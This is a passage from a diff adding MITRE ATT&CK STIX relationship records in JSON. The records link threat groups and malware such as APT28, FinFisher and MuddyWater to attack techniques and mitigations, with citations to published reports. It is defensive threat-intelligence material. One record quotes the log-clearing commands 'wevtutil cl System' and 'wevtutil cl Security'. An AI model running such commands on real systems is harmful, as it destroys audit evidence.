"relationship--675f24e0-c445-4eb3-a191-16fb181f6e30", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.221Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can start a remote shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--76ca2629-da20-42ce-95e1-b9f93406a87c", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--87131e3c-9d73-4910-a56d-f917d6660a7d", + "source_ref": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64", + "modified": "2019-07-25T11:42:04.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of capturing video.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d953a664-5a8f-45a9-a3e6-819cb2cef2c7", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) hooks processes by modifying IAT pointers to CreateWindowEx.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.328Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--75d04175-c43d-46cd-be08-5f4c91f767ed", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.742Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "source_name": "FireEye APT28 January 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) uses token manipulation with NtFilterToken as part of UAC bypass.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0b10d358-b59f-4fc0-8eaf-37352be9c80b", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has bypassed UAC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.116Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has cleared event logs, including by using the commands wevtutil cl System and wevtutil cl Security.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.038Z", + "id": "relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.994Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used CVE-2016-7255 to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e0033e57-8839-42b9-8515-46e9c7dca966", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7193ed4c-7169-46fa-9294-d74d912510d0", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.922Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs operating system information discovery using systeminfo.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.273Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has collected .PST archives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b6336d7c-e869-4491-9e8a-5ea5847a58ae", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--bde4d54d-16d7-4a07-a35a-9f0cc6956be2", + "source_ref": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe", + "modified": "2019-07-25T12:31:21.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) used a virus that propagates by infecting executables stored on shared drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--27b05a62-5310-40d9-9e49-b4dce3afad55", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses a variation of the XOR cipher to encrypt files before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--afd03a56-6d2b-4b00-895a-012f5d348898", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) gathers a list of processes using the tasklist command and then is sent back to the control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cbec0e87-7402-4365-94e0-7216f2b900ac", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) attempted to get users to click on Microsoft Office attachments containing malicious macro scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ac65e484-b59a-40e1-984e-02dc4b62b6f0", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[APT37](https://attack.mitre.org/groups/G0067) collects the computer name, the BIOS model, and execution path.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3ee8862f-2595-462e-8df8-aab639314b65", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.575Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers information about the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ab08048c-4d1f-4214-9f53-1e87f6a20988", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b41c70df-0955-408c-90ee-7acad8b080e1", + "source_ref": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96", + "modified": "2019-07-24T19:12:37.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has utilized [Valid Accounts](https://attack.mitre.org/techniques/T1078) during and [Persistence](https://attack.mitre.org/tactics/TA0003) and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--060e7485-d2a9-4aa2-a742-58f7e4e6086a", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-10-01T14:35:15.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2d20e20c-7f01-4834-88de-030ca09ee540", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.515Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used VBScript and JavaScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload. [MuddyWater](https://attack.mitre.org/groups/G0069) has also used Microsoft scriptlets, macros, and PowerShell scripts.[", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0da404e8-5eb7-49a3-93db-85d334212a72", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.", + "source_name": "MuddyWater TrendMicro June 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9", + "source_ref": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502", + "modified": "2019-07-26T19:55:06.530Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Putty to access compromised systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.795Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[APT37](https://attack.mitre.org/groups/G0067) identifies the victim username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4b253464-5a8b-4129-ab1b-ab888314f900", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.573Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has used batch scripting to automate execution of commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.035Z", + "id": "relationship--ea40711b-461d-4629-b1fd-5f020b1f3257", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.803Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ThreatConnect Anthem", + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + } + ], + "relationship_type": "uses" + }, + { 